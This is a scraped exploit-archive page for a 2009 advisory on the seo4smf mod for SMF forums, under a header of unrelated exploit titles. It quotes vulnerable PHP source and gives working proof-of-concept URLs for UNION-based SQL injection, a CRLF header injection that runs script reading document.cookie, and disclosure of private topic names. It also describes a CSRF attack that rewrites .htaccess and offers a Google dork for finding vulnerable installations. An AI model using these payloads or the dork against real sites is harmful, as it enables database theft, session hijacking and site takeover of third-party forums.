477bcbdcc0
5 new exploits phpMyNewsletter <= 0.8 (beta5) - Multiple Vulnerability Exploit phpMyNewsletter <= 0.8 (beta5) - Multiple Vulnerabilities My Book World Edition NAS Multiple Vulnerability My Book World Edition NAS - Multiple Vulnerabilities Katalog Stron Hurricane 1.3.5 - Multiple Vulnerability RFI / SQL Katalog Stron Hurricane 1.3.5 - (RFI / SQL) Multiple Vulnerabilities cmsfaethon-2.2.0-ultimate.7z Multiple Vulnerability cmsfaethon-2.2.0-ultimate.7z - Multiple Vulnerabilities DynPG CMS 4.1.0 - Multiple Vulnerability (popup.php and counter.php) DynPG CMS 4.1.0 - (popup.php and counter.php) Multiple Vulnerabilities Nucleus CMS 3.51 (DIR_LIBS) - Multiple Vulnerability Nucleus CMS 3.51 (DIR_LIBS) - Multiple Vulnerabilities N/X - Web CMS (N/X WCMS 4.5) Multiple Vulnerability N/X - Web CMS (N/X WCMS 4.5) - Multiple Vulnerabilities New-CMS - Multiple Vulnerability New-CMS - Multiple Vulnerabilities Edgephp Clickbank Affiliate Marketplace Script Multiple Vulnerability Edgephp Clickbank Affiliate Marketplace Script - Multiple Vulnerabilities JV2 Folder Gallery 3.1.1 - (popup_slideshow.php) Multiple Vulnerability JV2 Folder Gallery 3.1.1 - (popup_slideshow.php) Multiple Vulnerabilities i-Gallery - Multiple Vulnerability i-Gallery - Multiple Vulnerabilities My Kazaam Notes Management System Multiple Vulnerability My Kazaam Notes Management System - Multiple Vulnerabilities Omnidocs - Multiple Vulnerability Omnidocs - Multiple Vulnerabilities Web Cookbook Multiple Vulnerability Web Cookbook - Multiple Vulnerabilities KikChat - (LFI/RCE) Multiple Vulnerability KikChat - (LFI/RCE) Multiple Vulnerabilities Webformatique Reservation Manager - 'index.php' Cross-Site Scripting Vulnerability Webformatique Reservation Manager 2.4 - 'index.php' Cross-Site Scripting Vulnerability xEpan 1.0.4 - Multiple Vulnerability xEpan 1.0.4 - Multiple Vulnerabilities AKIPS Network Monitor 15.37 through 16.5 - OS Command Injection Netwrix Auditor 7.1.322.0 - ActiveX (sourceFile) Stack Buffer Overflow Cisco UCS Manager 2.1(1b) - Shellshock Exploit OpenSSH <= 7.2p1 - xauth Injection FreeBSD 10.2 amd64 Kernel - amd64_set_ldt Heap Overflow
85 lines
2.6 KiB
Text
Executable file
85 lines
2.6 KiB
Text
Executable file
[1] Inyection SQL
|
|
|
|
Linea 50 al 63
|
|
$query = db_query("
|
|
SELECT m.ID_TOPIC, m.subject ,b.ID_BOARD, b.name
|
|
FROM {$db_prefix}messages AS m, {$db_prefix}boards AS b
|
|
WHERE m.ID_TOPIC = *$topic*
|
|
AND m.ID_BOARD = b.ID_BOARD
|
|
IMIT 1", __FILE__, __LINE__);
|
|
|
|
------------------------------------------------------------------------
|
|
|
|
Linea 105 al 108
|
|
$query = db_query("
|
|
SELECT name FROM {$db_prefix}boards AS b
|
|
WHERE ID_BOARD = *$board*
|
|
LIMIT 1", __FILE__, __LINE__);
|
|
|
|
------------------------------------------------------------------------
|
|
|
|
Linea 125
|
|
$request = db_query("SELECT memberName FROM {$db_prefix}members where
|
|
ID_MEMBER=".*$user*." limit 1", __FILE__, __LINE__);
|
|
|
|
------------------------------------------------------------------------
|
|
|
|
Linea 143
|
|
$request = db_query("SELECT subject FROM {$db_prefix}tp_articles where
|
|
id=".*$tpage*." limit 1", __FILE__, __LINE__);
|
|
|
|
Where:
|
|
|
|
Linea 7 al 13
|
|
$topic = $_GET['t'];
|
|
$board = $_GET['b'];
|
|
$other = $_GET['o'];
|
|
$user = $_GET['u'];
|
|
$tpage = $_GET['p'];
|
|
$action = $_GET['a'];
|
|
$param = $_GET['param'];
|
|
|
|
|
|
Now execute the proof of concept:
|
|
http://localhost/smf/seo4smf-redirect.php?t=-1 union select 1,2,3…(numero de columnas)…,concat(username(),database()) –
|
|
GoogleDorks: http://www.google.cl/search?hl=es&q=allinurl%3Aseo4smf-redirect.php&btnG=Buscar+con+Google&meta=
|
|
|
|
[2] Inyection of headers, Cross site Scripting and Path disclosure:
|
|
Source:
|
|
|
|
if(!empty <http://www.php.net/empty>($url)){
|
|
header <http://www.php.net/header>('HTTP/1.1 301 Moved Permanently');
|
|
header <http://www.php.net/header>('Location: '.$url);
|
|
exit <http://www.php.net/exit>;
|
|
}
|
|
|
|
|
|
The proof of concept:
|
|
http://localhost/seo4smf-redirect.php?a=x%0DLocation:%20javascript:alert(document.cookie);
|
|
Real test: http://www.jccharry.com/archivos_publicos/xss_seo4smf.png
|
|
Or print the error with path disclosure.
|
|
|
|
[3] Disclosure in topics:
|
|
http://localhost/seo4smf-redirect.php?t=[number 1 to total topics].new/topicseen
|
|
This return the privates forumnames and topicnames.
|
|
|
|
[4] Cross site request forgery and inyection of arbitrary code
|
|
Source:
|
|
if (isset($_POST['htaccess']))
|
|
{
|
|
$htaccess = stripslashes($_POST['htaccess']);
|
|
|
|
//str_replace("\\\\","\\",$htaccess);
|
|
file_put_contents($boarddir."/.htaccess", $htaccess);
|
|
}
|
|
csrf -> .htaccess rewrited -> pwned!
|
|
and xml files.
|
|
|
|
exploits and more in
|
|
http://foro.elhacker.net/bugs_y_exploits/falla_en_el_mod_seo4smf_para_smf-t241029.0.html
|
|
and
|
|
http://www.jccharry.com/blog/2009/01/09/whk_fallas-criticas-en-seo4smf-para-foros-smf-simplemachines-forum.html
|
|
|
|
-={[unica_inc algún dia estaremos juntos]}=-
|
|
|
|
# milw0rm.com [2009-01-11]
|